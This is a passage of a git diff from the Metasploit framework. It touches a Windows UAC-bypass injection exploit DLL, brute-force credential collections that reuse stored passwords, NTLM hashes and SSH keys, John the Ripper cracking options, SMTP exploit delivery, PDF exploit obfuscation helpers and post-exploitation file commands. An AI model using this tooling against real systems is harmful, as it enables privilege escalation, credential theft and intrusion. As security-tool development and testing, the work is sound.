+ }
+
+ } while (0);
+
+ SAFERELEASE(pSHIDelete);
+ SAFERELEASE(pSHIDestination);
+ SAFERELEASE(pSHISource);
+ SAFERELEASE(pFileOp);
+
+ if (bComInitialised)
+ {
+ CoUninitialize();
}
}
-}
+
+}
\ No newline at end of file
diff --git a/external/source/exploits/bypassuac_injection/dll/src/Exploit.h b/external/source/exploits/bypassuac_injection/dll/src/Exploit.h
old mode 100644
new mode 100755
index cce02e5bff..6197bbb276
--- a/external/source/exploits/bypassuac_injection/dll/src/Exploit.h
+++ b/external/source/exploits/bypassuac_injection/dll/src/Exploit.h
@@ -5,4 +5,32 @@
#include
#include
-EXTERN_C void exploit();
+// Uncomment this line to include debug output
+//#define DEBUGTRACE
+
+#ifdef DEBUGTRACE
+#define dprintf(...) real_dprintf(__VA_ARGS__)
+static void real_dprintf(char *format, ...)
+{
+ va_list args;
+ char buffer[1024];
+ va_start(args, format);
+ vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format, args);
+ strcat_s(buffer, sizeof(buffer), "\r\n");
+ OutputDebugStringA(buffer);
+}
+#else
+#define dprintf(...)
+#endif
+
+typedef struct _BypassUacPaths
+{
+ wchar_t szElevDir[MAX_PATH];
+ wchar_t szElevDirSysWow64[MAX_PATH];
+ wchar_t szElevDll[MAX_PATH];
+ wchar_t szElevDllFull[MAX_PATH];
+ wchar_t szElevExeFull[MAX_PATH];
+ wchar_t szDllTempPath[MAX_PATH];
+} BypassUacPaths;
+
+EXTERN_C void exploit(BypassUacPaths const * const paths);
diff --git a/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c b/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c
old mode 100644
new mode 100755
index 83b0c9fddb..e9e97c5fb8
--- a/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c
+++ b/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c
@@ -5,22 +5,29 @@ extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
- BOOL bReturnValue = TRUE;
- switch( dwReason )
- {
- case DLL_QUERY_HMODULE:
- if( lpReserved != NULL )
- *(HMODULE *)lpReserved = hAppInstance;
- break;
- case DLL_PROCESS_ATTACH:
- hAppInstance = hinstDLL;
- exploit();
- ExitProcess(0);
- break;
- case DLL_PROCESS_DETACH:
- case DLL_THREAD_ATTACH:
- case DLL_THREAD_DETACH:
- break;
- }
- return bReturnValue;
+ switch (dwReason)
+ {
+ case DLL_QUERY_HMODULE:
+ if (lpReserved != NULL)
+ {
+ *(HMODULE *)lpReserved = hAppInstance;
+ }
+ break;
+ case DLL_PROCESS_ATTACH:
+ hAppInstance = hinstDLL;
+
+ if (NULL != lpReserved)
+ {
+ dprintf("[BYPASSUACINJ] Launching exploit with 0x%p", lpReserved);
+ exploit((BypassUacPaths*)lpReserved);
+ }
+
+ ExitProcess(0);
+ break;
+ default:
+ break;
+ }
+
+ return TRUE;
+
}
diff --git a/lib/metasploit/framework/credential_collection.rb b/lib/metasploit/framework/credential_collection.rb
index abfb84504b..7c1b2f3298 100644
--- a/lib/metasploit/framework/credential_collection.rb
+++ b/lib/metasploit/framework/credential_collection.rb
@@ -2,6 +2,18 @@ require 'metasploit/framework/credential'
class Metasploit::Framework::CredentialCollection
+ # @!attribute additional_privates
+ # Additional privates to be combined
+ #
+ # @return [Array]
+ attr_accessor :additional_privates
+
+ # @!attribute additional_publics
+ # Additional public to be combined
+ #
+ # @return [Array]
+ attr_accessor :additional_publics
+
# @!attribute blank_passwords
# Whether each username should be tried with a blank password
# @return [Boolean]
@@ -59,7 +71,27 @@ class Metasploit::Framework::CredentialCollection
opts.each do |attribute, value|
public_send("#{attribute}=", value)
end
- self.prepended_creds ||= []
+ self.prepended_creds ||= []
+ self.additional_privates ||= []
+ self.additional_publics ||= []
+ end
+
+ # Adds a string as an addition private credential
+ # to be combined in the collection.
+ #
+ # @param [String] :private_str the string to use as a private
+ # @return [void]
+ def add_private(private_str='')
+ additional_privates << private_str
+ end
+
+ # Adds a string as an addition public credential
+ # to be combined in the collection.
+ #
+ # @param [String] :public_str the string to use as a public
+ # @return [void]
+ def add_public(public_str='')
+ additional_publics << public_str
end
# Add {Credential credentials} that will be yielded by {#each}
@@ -101,6 +133,9 @@ class Metasploit::Framework::CredentialCollection
end
pass_fd.seek(0)
end
+ additional_privates.each do |add_private|
+ yield Metasploit::Framework::Credential.new(public: username, private: add_private, realm: realm, private_type: private_type(add_private))
+ end
end
if user_file.present?
@@ -123,6 +158,9 @@ class Metasploit::Framework::CredentialCollection
end
pass_fd.seek(0)
end
+ additional_privates.each do |add_private|
+ yield Metasploit::Framework::Credential.new(public: user_from_file, private: add_private, realm: realm, private_type: private_type(add_private))
+ end
end
end
end
@@ -141,6 +179,28 @@ class Metasploit::Framework::CredentialCollection
end
end
+ additional_publics.each do |add_public|
+ if password.present?
+ yield Metasploit::Framework::Credential.new(public: add_public, private: password, realm: realm, private_type: private_type(password) )
+ end
+ if user_as_pass
+ yield Metasploit::Framework::Credential.new(public: add_public, private: user_from_file, realm: realm, private_type: :password)
+ end
+ if blank_passwords
+ yield Metasploit::Framework::Credential.new(public: add_public, private: "", realm: realm, private_type: :password)
+ end
+ if pass_fd
+ pass_fd.each_line do |pass_from_file|
+ pass_from_file.chomp!
+ yield Metasploit::Framework::Credential.new(public: add_public, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
+ end
+ pass_fd.seek(0)
+ end
+ additional_privates.each do |add_private|
+ yield Metasploit::Framework::Credential.new(public: add_public, private: add_private, realm: realm, private_type: private_type(add_private))
+ end
+ end
+
ensure
pass_fd.close if pass_fd && !pass_fd.closed?
end
diff --git a/lib/metasploit/framework/login_scanner/base.rb b/lib/metasploit/framework/login_scanner/base.rb
index 511260ffea..16e7655a0b 100644
--- a/lib/metasploit/framework/login_scanner/base.rb
+++ b/lib/metasploit/framework/login_scanner/base.rb
@@ -57,8 +57,8 @@ module Metasploit
inclusion: { in: [true, false] }
validates :bruteforce_speed,
- presence: false,
numericality: {
+ allow_nil: true,
only_integer: true,
greater_than_or_equal_to: 0,
less_than_or_equal_to: 5
diff --git a/lib/msf/base/simple/exploit.rb b/lib/msf/base/simple/exploit.rb
index 14fd531152..8bacd5958e 100644
--- a/lib/msf/base/simple/exploit.rb
+++ b/lib/msf/base/simple/exploit.rb
@@ -151,10 +151,10 @@ module Exploit
if e.kind_of?(Msf::OptionValidateError)
dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3)
else
- mod.print_error("Call stack:")
+ exploit.print_error("Call stack:")
e.backtrace.each do |line|
break if line =~ /lib.msf.base.simple.exploit.rb/
- mod.print_error(" #{line}")
+ exploit.print_error(" #{line}")
end
elog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_0)
end
diff --git a/lib/msf/core/auxiliary/auth_brute.rb b/lib/msf/core/auxiliary/auth_brute.rb
index aee43edfe2..0ec74739b7 100644
--- a/lib/msf/core/auxiliary/auth_brute.rb
+++ b/lib/msf/core/auxiliary/auth_brute.rb
@@ -49,6 +49,47 @@ module Auxiliary::AuthBrute
@@max_per_service = nil
end
+ # Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with
+ # a private type of 'ntlm_hash'
+ #
+ # @yieldparam [Metasploit::Credential::Core]
+ def each_ntlm_cred
+ creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' }, workspace_id: myworkspace.id)
+ creds.each do |cred|
+ yield cred
+ end
+ end
+
+ # Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with
+ # a private type of 'password'
+ #
+ # @yieldparam [Metasploit::Credential::Core]
+ def each_password_cred
+ creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::Password' }, workspace_id: myworkspace.id)
+ creds.each do |cred|
+ yield cred
+ end
+ end
+
+ # Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with
+ # a private type of 'ssh_key'
+ #
+ # @yieldparam [Metasploit::Credential::Core]
+ def each_ssh_cred
+ creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::SSHKey' }, workspace_id: myworkspace.id)
+ creds.each do |cred|
+ yield cred
+ end
+ end
+
+ # Checks whether we should be adding creds from the DB to a CredCollection
+ #
+ # @return [TrueClass] if any of the datastore options for db creds are selected and the db is active
+ # @return [FalseClass] if none of the datastore options are selected OR the db is not active
+ def prepend_db_creds?
+ (datastore['DB_ALL_CREDS'] || datastore['DB_ALL_PASS'] || datastore['DB_ALL_USERS']) && framework.db.active
+ end
+
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing NTLMHashes
# from the database. This allows the users to use the DB_ALL_CREDS option.
#
@@ -56,10 +97,9 @@ module Auxiliary::AuthBrute
# the credential collection to add to
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
def prepend_db_hashes(cred_collection)
- if datastore['DB_ALL_CREDS'] && framework.db.active
- creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' }, workspace_id: myworkspace.id)
- creds.each do |cred|
- cred_collection.prepend_cred(cred.to_credential)
+ if prepend_db_creds?
+ each_ntlm_cred do |cred|
+ process_cred_for_collection(cred_collection,cred)
end
end
cred_collection
@@ -72,10 +112,9 @@ module Auxiliary::AuthBrute
# the credential collection to add to
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
def prepend_db_keys(cred_collection)
- if datastore['DB_ALL_CREDS'] && framework.db.active
- creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::SSHKey' }, workspace_id: myworkspace.id)
- creds.each do |cred|
- cred_collection.prepend_cred(cred.to_credential)
+ if prepend_db_creds?
+ each_ssh_cred do |cred|
+ process_cred_for_collection(cred_collection,cred)
end
end
cred_collection
@@ -88,15 +127,27 @@ module Auxiliary::AuthBrute
# the credential collection to add to
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
def prepend_db_passwords(cred_collection)
- if datastore['DB_ALL_CREDS'] && framework.db.active
- creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::Password' }, workspace_id: myworkspace.id)
- creds.each do |cred|
- cred_collection.prepend_cred(cred.to_credential)
+ if prepend_db_creds?
+ each_password_cred do |cred|
+ process_cred_for_collection(cred_collection,cred)
end
end
cred_collection
end
+ # Takes a {Metasploit::Credential::Core} and converts it into a
+ # {Metasploit::Framework::Credential} and processes it into the
+ # {Metasploit::Framework::CredentialCollection} as dictated by the
+ # selected datastore options.
+ #
+ # @param [Metasploit::Framework::CredentialCollection] the credential collection to add to
+ # @param [Metasploit::Credential::Core] the Credential Core to process
+ def process_cred_for_collection(cred_collection, cred)
+ msf_cred = cred.to_credential
+ cred_collection.prepend_cred(msf_cred) if datastore['DB_ALL_CREDS']
+ cred_collection.add_private(msf_cred.private) if datastore['DB_ALL_PASS']
+ cred_collection.add_public(msf_cred.public) if datastore['DB_ALL_USERS']
+ end
# Checks all three files for usernames and passwords, and combines them into
diff --git a/lib/msf/core/auxiliary/jtr.rb b/lib/msf/core/auxiliary/jtr.rb
index b430f4b935..f1af818f8c 100644
--- a/lib/msf/core/auxiliary/jtr.rb
+++ b/lib/msf/core/auxiliary/jtr.rb
@@ -29,6 +29,7 @@ module Auxiliary::JohnTheRipper
OptPath.new('CUSTOM_WORDLIST', [false, 'The path to an optional custom wordlist']),
OptInt.new('ITERATION_TIMOUT', [false, 'The max-run-time for each iteration of cracking']),
OptPath.new('JOHN_PATH', [false, 'The absolute path to the John the Ripper executable']),
+ OptBool.new('KoreLogic', [false, 'Apply the KoreLogic rules to Wordlist Mode(slower)', false]),
OptBool.new('MUTATE', [false, 'Apply common mutations to the Wordlist (SLOW)', false]),
OptPath.new('POT', [false, 'The path to a John POT file to use instead of the default']),
OptBool.new('USE_CREDS', [false, 'Use existing credential data saved in the database', true]),
diff --git a/lib/msf/core/auxiliary/report.rb b/lib/msf/core/auxiliary/report.rb
index a7d10262a7..91d39ec23d 100644
--- a/lib/msf/core/auxiliary/report.rb
+++ b/lib/msf/core/auxiliary/report.rb
@@ -12,6 +12,38 @@ module Auxiliary::Report
optionally_include_metasploit_credential_creation
+ def create_cracked_credential(opts={})
+ if active_db?
+ super(opts)
+ else
+ vprint_warning('No active DB -- Credential data will not be saved!')
+ end
+ end
+
+ def create_credential(opts={})
+ if active_db?
+ super(opts)
+ else
+ vprint_warning('No active DB -- Credential data will not be saved!')
+ end
+ end
+
+ def create_credential_login(opts={})
+ if active_db?
+ super(opts)
+ else
+ vprint_warning('No active DB -- Credential data will not be saved!')
+ end
+ end
+
+ def invalidate_login(opts={})
+ if active_db?
+ super(opts)
+ else
+ vprint_warning('No active DB -- Credential data will not be saved!')
+ end
+ end
+
# This method overrides the method from Metasploit::Credential to check for an active db
def active_db?
framework.db.active
@@ -125,13 +157,102 @@ module Auxiliary::Report
framework.db.report_note(opts)
end
+ # This Legacy method is responsible for creating credentials from data supplied
+ # by a module. This method is deprecated and the new Metasploit::Credential methods
+ # should be used directly instead.
+ #
+ # @param :opts [Hash] the option hash
+ # @option opts [String] :host the address of the host (also takes a {Mdm::Host})
+ # @option opts [Fixnum] :port the port of the connected service
+ # @option opts [Mdm::Service] :service an optional Service object to build the cred for
+ # @option opts [String] :type What type of private credential this is (e.g. "password", "hash", "ssh_key")
+ # @option opts [String] :proto Which transport protocol the service uses
+ # @option opts [String] :sname The 'name' of the service
+ # @option opts [String] :user The username for the cred
+ # @option opts [String] :pass The private part of the credential (e.g. password)
def report_auth_info(opts={})
+ print_error "*** #{self.fullname} is still calling the deprecated report_auth_info method! This needs to be updated!"
return if not db
- opts = {
- :workspace => myworkspace,
- :task => mytask
- }.merge(opts)
- framework.db.report_auth_info(opts)
+ raise ArgumentError.new("Missing required option :host") if opts[:host].nil?
+ raise ArgumentError.new("Missing required option :port") if (opts[:port].nil? and opts[:service].nil?)
+
+ if opts[:host].kind_of?(::Mdm::Host)
+ host = opts[:host].address
+ else
+ host = opts[:host]
+ end
+
+ type = :password
+ case opts[:type]
+ when "password"
+ type = :password
+ when "hash"
+ type = :nonreplayable_hash
+ when "ssh_key"
+ type = :ssh_key
+ end
+
+ case opts[:proto]
+ when "tcp"
+ proto = "tcp"
+ when "udp"
+ proto = "udp"
+ else
+ proto = "tcp"
+ end
+
+ if opts[:service] && opts[:service].kind_of?(Mdm::Service)
+ port = opts[:service].port
+ proto = opts[:service].proto
+ service_name = opts[:service].name
+ host = opts[:service].host.address
+ else
+ port = opts.fetch(:port)
+ service_name = opts.fetch(:sname, nil)
+ end
+
+ username = opts.fetch(:user, nil)
+ private = opts.fetch(:pass, nil)
+
+ service_data = {
+ address: host,
+ port: port,
+ service_name: service_name,
+ protocol: proto,
+ workspace_id: myworkspace_id
+ }
+
+ if self.type == "post"
+ credential_data = {
+ origin_type: :session,
+ session_id: session_db_id,
+ post_reference_name: self.refname
+ }
+ else
+ credential_data = {
+ origin_type: :service,
+ module_fullname: self.fullname
+ }
+ credential_data.merge!(service_data)
+ end
+
+ unless private.nil?
+ credential_data[:private_type] = type
+ credential_data[:private_data] = private
+ end
+
+ unless username.nil?
+ credential_data[:username] = username
+ end
+
+ credential_core = create_credential(credential_data)
+
+ login_data ={
+ core: credential_core,
+ status: Metasploit::Model::Login::Status::UNTRIED
+ }
+ login_data.merge!(service_data)
+ create_credential_login(login_data)
end
def report_vuln(opts={})
diff --git a/lib/msf/core/db_manager/ip_address.rb b/lib/msf/core/db_manager/ip_address.rb
index b69dd69bfe..dcff05b2e2 100644
--- a/lib/msf/core/db_manager/ip_address.rb
+++ b/lib/msf/core/db_manager/ip_address.rb
@@ -13,18 +13,18 @@ module Msf::DBManager::IPAddress
end
def rfc3330_reserved(ip)
- case ip.class.to_s
- when "PacketFu::Octets"
+ case ip
+ when PacketFu::Octets
ip_x = ip.to_x
ip_i = ip.to_i
- when "String"
+ when String
if ipv46_validator(ip)
ip_x = ip
ip_i = Rex::Socket.addr_atoi(ip)
else
raise ArgumentError, "Invalid IP address: #{ip.inspect}"
end
- when "Fixnum"
+ when Fixnum
if (0..2**32-1).include? ip
ip_x = Rex::Socket.addr_itoa(ip)
ip_i = ip
@@ -58,4 +58,4 @@ module Msf::DBManager::IPAddress
end
return ret
end
-end
\ No newline at end of file
+end
diff --git a/lib/msf/core/exploit/cmdstager.rb b/lib/msf/core/exploit/cmdstager.rb
index 230c53cdbf..8d4739a453 100644
--- a/lib/msf/core/exploit/cmdstager.rb
+++ b/lib/msf/core/exploit/cmdstager.rb
@@ -224,12 +224,12 @@ module Exploit::CmdStager
def guess_flavor
# First try to guess a compatible flavor based on the module & target information.
unless target_flavor.nil?
- case target_flavor.class.to_s
- when 'Array'
+ case target_flavor
+ when Array
return target_flavor[0].to_sym
- when 'String'
+ when String
return target_flavor.to_sym
- when 'Symbol'
+ when Symbol
return target_flavor
end
end
@@ -283,12 +283,12 @@ module Exploit::CmdStager
# @return [Boolean] true if compatible, false otherwise.
def compatible_flavor?(f)
return true if target_flavor.nil?
- case target_flavor.class.to_s
- when 'String'
+ case target_flavor
+ when String
return true if target_flavor == f.to_s
- when 'Array'
+ when Array
target_flavor.each { |tr| return true if tr.to_sym == f }
- when 'Symbol'
+ when Symbol
return true if target_flavor == f
end
false
diff --git a/lib/msf/core/exploit/java.rb b/lib/msf/core/exploit/java.rb
index 491babc19a..b3eb246411 100644
--- a/lib/msf/core/exploit/java.rb
+++ b/lib/msf/core/exploit/java.rb
@@ -87,7 +87,7 @@ module Exploit::Java
raise RuntimeError, "Could not load rjb and/or the JVM: " + @java_error.to_s
end
- if compile_options.class.to_s != "Array" && compile_options
+ if !compile_options.is_a?(Array) && compile_options
raise RuntimeError, "Compiler options must be of type Array."
end
diff --git a/lib/msf/core/exploit/local/windows_kernel.rb b/lib/msf/core/exploit/local/windows_kernel.rb
index 48a2939b7b..0c50d54c49 100644
--- a/lib/msf/core/exploit/local/windows_kernel.rb
+++ b/lib/msf/core/exploit/local/windows_kernel.rb
@@ -123,7 +123,7 @@ module Exploit::Local::WindowsKernel
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
if arch.nil? && module_info['Arch']
arch = module_info['Arch']
- arch = arch[0] if arch.class.to_s == 'Array' and arch.length == 1
+ arch = arch[0] if arch.is_a?(Array) and arch.length == 1
end
if arch.nil?
print_error('Can not determine the target architecture')
diff --git a/lib/msf/core/exploit/pdf.rb b/lib/msf/core/exploit/pdf.rb
index 1a1bcc8528..9b3b0b135f 100644
--- a/lib/msf/core/exploit/pdf.rb
+++ b/lib/msf/core/exploit/pdf.rb
@@ -30,7 +30,7 @@ module Exploit::PDF
#Original Filters
##
- def ASCIIHexWhitespaceEncode(str)
+ def ascii_hex_whitespace_encode(str)
return str if not datastore['PDF::Obfuscate']
result = ""
whitespace = ""
@@ -44,7 +44,7 @@ module Exploit::PDF
##
#Filters from Origami parser
##
- def RunLengthEncode(stream)
+ def run_length_encode(stream)
eod = 128
result = ""
i = 0
@@ -85,7 +85,7 @@ module Exploit::PDF
result << eod.chr
end
- def RandomNonASCIIString(count)
+ def random_non_ascii_string(count)
result = ""
count.times do
result << (rand(128) + 128).chr
@@ -93,7 +93,7 @@ module Exploit::PDF
result
end
- def ASCII85Encode(stream)
+ def ascii85_encode(stream)
eod = "~>"
i = 0
code = ""
@@ -130,7 +130,7 @@ module Exploit::PDF
end
# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
- def nObfu(str)
+ def nobfu(str)
return str if not datastore['PDF::Obfuscate']
result = ""
@@ -149,13 +149,13 @@ module Exploit::PDF
##
def header(version = '1.5')
hdr = "%PDF-#{version}" << eol
- hdr << "%" << RandomNonASCIIString(4) << eol
+ hdr << "%" << random_non_ascii_string(4) << eol
hdr
end
def add_object(num, data)
@xref[num] = @pdf.length
- @pdf << ioDef(num)
+ @pdf << io_def(num)
@pdf << data
@pdf << endobj
end
@@ -186,7 +186,7 @@ module Exploit::PDF
end
def trailer(root_obj)
- ret = "trailer" << nObfu("<>" << eol
+ ret = "trailer" << nobfu("<>" << eol
ret
end
@@ -209,18 +209,18 @@ module Exploit::PDF
"endobj" << eol
end
- def ioDef(id)
+ def io_def(id)
"%d 0 obj" % id
end
- def ioRef(id)
+ def io_ref(id)
"%d 0 R" % id
end
##
#Controller funtion, should be entrypoint for pdf exploits
##
- def CreatePDF(js)
+ def create_pdf(js)
strFilter = ""
arrResults = []
numIterations = 0
@@ -233,10 +233,10 @@ module Exploit::PDF
end
for i in (0..numIterations-1)
if i == 0
- arrResults = SelectEncoder(js,arrEncodings[i],strFilter)
+ arrResults = select_encoder(js,arrEncodings[i],strFilter)
next
end
- arrResults = SelectEncoder(arrResults[0],arrEncodings[i],arrResults[1])
+ arrResults = select_encoder(arrResults[0],arrEncodings[i],arrResults[1])
end
case datastore['PDF::Method']
when 'PAGE'
@@ -251,19 +251,19 @@ module Exploit::PDF
##
#Select an encoder and build a filter specification
##
- def SelectEncoder(js,strEncode,strFilter)
+ def select_encoder(js,strEncode,strFilter)
case strEncode
when 'ASCII85'
- js = ASCII85Encode(js)
+ js = ascii85_encode(js)
strFilter = "/ASCII85Decode"<>")
- add_object(2, nObfu("<>"))
- add_object(3, nObfu("<>"))
- add_object(4, nObfu("<>>>>>"))
+ add_object(1, nobfu("<>")
+ add_object(2, nobfu("<>"))
+ add_object(3, nobfu("<>"))
+ add_object(4, nobfu("<>>>>>"))
compressed = js
stream = "<>" << eol
stream << "stream" << eol
@@ -301,10 +301,10 @@ module Exploit::PDF
@pdf << header
- add_object(1, nObfu("<>")
- add_object(2, nObfu("<>"))
- add_object(3, nObfu("<>"))
- add_object(4, nObfu("<>>>>>"))
+ add_object(1, nobfu("<>")
+ add_object(2, nobfu("<>"))
+ add_object(3, nobfu("<>"))
+ add_object(4, nobfu("<>>>>>"))
compressed = js
stream = "<>" << eol
stream << "stream" << eol
@@ -324,11 +324,11 @@ module Exploit::PDF
@pdf << header
- add_object(1, nObfu("<>")
- add_object(2, nObfu("<>"))
- add_object(3, nObfu("<>"))
- add_object(4, nObfu("<>"))
- add_object(5, nObfu("<>>>>>"))
+ add_object(1, nobfu("<>")
+ add_object(2, nobfu("<>"))
+ add_object(3, nobfu("<>"))
+ add_object(4, nobfu("<>"))
+ add_object(5, nobfu("<>>>>>"))
compressed = js
stream = "<>" << eol
stream << "stream" << eol
diff --git a/lib/msf/core/exploit/smtp_deliver.rb b/lib/msf/core/exploit/smtp_deliver.rb
index b440e12a91..52d100a141 100644
--- a/lib/msf/core/exploit/smtp_deliver.rb
+++ b/lib/msf/core/exploit/smtp_deliver.rb
@@ -26,6 +26,7 @@ module Exploit::Remote::SMTPDeliver
[
OptAddress.new("RHOST", [ true, "The SMTP server to send through" ]),
OptPort.new("RPORT", [ true, "The SMTP server port (e.g. 25, 465, 587, 2525)", 25 ]),
+ OptString.new('DATE', [false, 'Override the DATE: field with this value', '']),
OptString.new('MAILFROM', [ true, 'The FROM address of the e-mail', 'random@example.com' ]),
OptString.new('MAILTO', [ true, 'The TO address of the email' ]),
OptString.new('SUBJECT', [ true, 'Subject line of the email' ]),
@@ -140,6 +141,19 @@ module Exploit::Remote::SMTPDeliver
raw_send_recv("MAIL FROM: <#{datastore['MAILFROM']}>\r\n", nsock)
raw_send_recv("RCPT TO: <#{datastore['MAILTO']}>\r\n", nsock)
+ # If the user supplied a Date field, use that, else use the current
+ # DateTime in the proper RFC2822 format.
+ if datastore['DATE'].present?
+ raw_send_recv("Date: #{datastore['DATE']}\r\n", nsock)
+ else
+ raw_send_recv("Date: #{DateTime.now.rfc2822}\r\n", nsock)
+ end
+
+ # If the user supplied a Subject field, use that
+ if datastore['SUBJECT'].present?
+ raw_send_recv("Subject: #{datastore['SUBJECT']}\r\n", nsock)
+ end
+
resp = raw_send_recv("DATA\r\n", nsock)
# Avoid sending tons of data and killing the connection if the server
diff --git a/lib/msf/core/exploit/sunrpc.rb b/lib/msf/core/exploit/sunrpc.rb
index b9ab02d6b7..f8c9055f30 100644
--- a/lib/msf/core/exploit/sunrpc.rb
+++ b/lib/msf/core/exploit/sunrpc.rb
@@ -84,7 +84,7 @@ module Exploit::Remote::SunRPC
rpcobj.pport = arr[5]
end
- def sunrpc_call(proc, buf, timeout = timeout)
+ def sunrpc_call(proc, buf, timeout = timeout())
ret = rpcobj.call(proc, buf, timeout)
raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to SunRPC call for procedure: #{proc}" unless ret
diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb
index c530093990..081d8cd1bb 100644
--- a/lib/msf/core/post/file.rb
+++ b/lib/msf/core/post/file.rb
@@ -3,20 +3,26 @@
module Msf::Post::File
#
- # Change directory in the remote session to +path+
+ # Change directory in the remote session to +path+, which may be relative or
+ # absolute.
#
+ # @return [void]
def cd(path)
+ e_path = expand_path(path) rescue path
if session.type == "meterpreter"
- e_path = session.fs.file.expand_path(path) rescue path
session.fs.dir.chdir(e_path)
else
- session.shell_command_token("cd '#{path}'")
+ session.shell_command_token("cd \"#{e_path}\"")
end
end
#
# Returns the current working directory in the remote session
#
+ # @note This may be inaccurate on shell sessions running on Windows before
+ # XP/2k3
+ #
+ # @return [String]
def pwd
if session.type == "meterpreter"
return session.fs.dir.getwd
@@ -51,6 +57,7 @@ module Msf::Post::File
#
# See if +path+ exists on the remote system and is a directory
#
+ # @param path [String] Remote filename to check
def directory?(path)
if session.type == "meterpreter"
stat = session.fs.file.stat(path) rescue nil
@@ -60,7 +67,7 @@ module Msf::Post::File
if session.platform =~ /win/
f = cmd_exec("cmd.exe /C IF exist \"#{path}\\*\" ( echo true )")
else
- f = session.shell_command_token("test -d '#{path}' && echo true")
+ f = session.shell_command_token("test -d \"#{path}\" && echo true")
end
return false if f.nil? or f.empty?
@@ -72,6 +79,7 @@ module Msf::Post::File
#
# Expand any environment variables to return the full path specified by +path+.
#
+ # @return [String]
def expand_path(path)
if session.type == "meterpreter"
return session.fs.file.expand_path(path)
@@ -83,6 +91,7 @@ module Msf::Post::File
#
# See if +path+ exists on the remote system and is a regular file
#
+ # @param path [String] Remote filename to check
def file?(path)
if session.type == "meterpreter"
stat = session.fs.file.stat(path) rescue nil
@@ -95,7 +104,7 @@ module Msf::Post::File
f = cmd_exec("cmd.exe /C IF exist \"#{path}\\\\\" ( echo false ) ELSE ( echo true )")
end
else
- f = session.shell_command_token("test -f '#{path}' && echo true")
+ f = session.shell_command_token("test -f \"#{path}\" && echo true")
end
return false if f.nil? or f.empty?
@@ -109,15 +118,16 @@ module Msf::Post::File
#
# Check for existence of +path+ on the remote file system
#
+ # @param path [String] Remote filename to check
def exist?(path)
if session.type == "meterpreter"
stat = session.fs.file.stat(path) rescue nil
return !!(stat)
else
if session.platform =~ /win/
- f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )")
+ f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )")
else
- f = session.shell_command_token("test -e '#{path}' && echo true")
+ f = cmd_exec("test -e \"#{path}\" && echo true")
end
return false if f.nil? or f.empty?
@@ -126,31 +136,19 @@ module Msf::Post::File
end
end
- #
- # Remove a remote file
- #
- def file_rm(file)
- if session.type == "meterpreter"
- session.fs.file.rm(file)
- else
- if session.platform =~ /win/
- session.shell_command_token("del \"#{file}\"")
- else
- session.shell_command_token("rm -f '#{file}'")
- end
- end
- end
-
#
# Writes a given string to a given local file
#
- def file_local_write(file2wrt, data2wrt)
- if not ::File.exists?(file2wrt)
- ::FileUtils.touch(file2wrt)
+ # @param local_file_name [String]
+ # @param data [String]
+ # @return [void]
+ def file_local_write(local_file_name, data)
+ unless ::File.exists?(local_file_name)
+ ::FileUtils.touch(local_file_name)
end
- output = ::File.open(file2wrt, "a")
- data2wrt.each_line do |d|
+ output = ::File.open(local_file_name, "a")
+ data.each_line do |d|
output.puts(d)
end
output.close
@@ -159,22 +157,27 @@ module Msf::Post::File
#
# Returns a MD5 checksum of a given local file
#
- def file_local_digestmd5(file2md5)
- if not ::File.exists?(file2md5)
- raise "File #{file2md5} does not exists!"
- else
+ # @param local_file_name [String] Local file name
+ # @return [String] Hex digest of file contents
+ def file_local_digestmd5(local_file_name)
+ if ::File.exists?(local_file_name)
require 'digest/md5'
chksum = nil
- chksum = Digest::MD5.hexdigest(::File.open(file2md5, "rb") { |f| f.read})
+ chksum = Digest::MD5.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})
return chksum
+ else
+ raise "File #{local_file_name} does not exists!"
end
end
#
# Returns a MD5 checksum of a given remote file
#
- def file_remote_digestmd5(file2md5)
- data = read_file(file2md5)
+ # @note THIS DOWNLOADS THE FILE
+ # @param file_name [String] Remote file name
+ # @return [String] Hex digest of file contents
+ def file_remote_digestmd5(file_name)
+ data = read_file(file_name)
chksum = nil
if data
chksum = Digest::MD5.hexdigest(data)
@@ -185,22 +188,27 @@ module Msf::Post::File
#
# Returns a SHA1 checksum of a given local file
#
- def file_local_digestsha1(file2sha1)
- if not ::File.exists?(file2sha1)
- raise "File #{file2sha1} does not exists!"
- else
+ # @param local_file_name [String] Local file name
+ # @return [String] Hex digest of file contents
+ def file_local_digestsha1(local_file_name)
+ if ::File.exists?(local_file_name)
require 'digest/sha1'
chksum = nil
- chksum = Digest::SHA1.hexdigest(::File.open(file2sha1, "rb") { |f| f.read})
+ chksum = Digest::SHA1.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})
return chksum
+ else
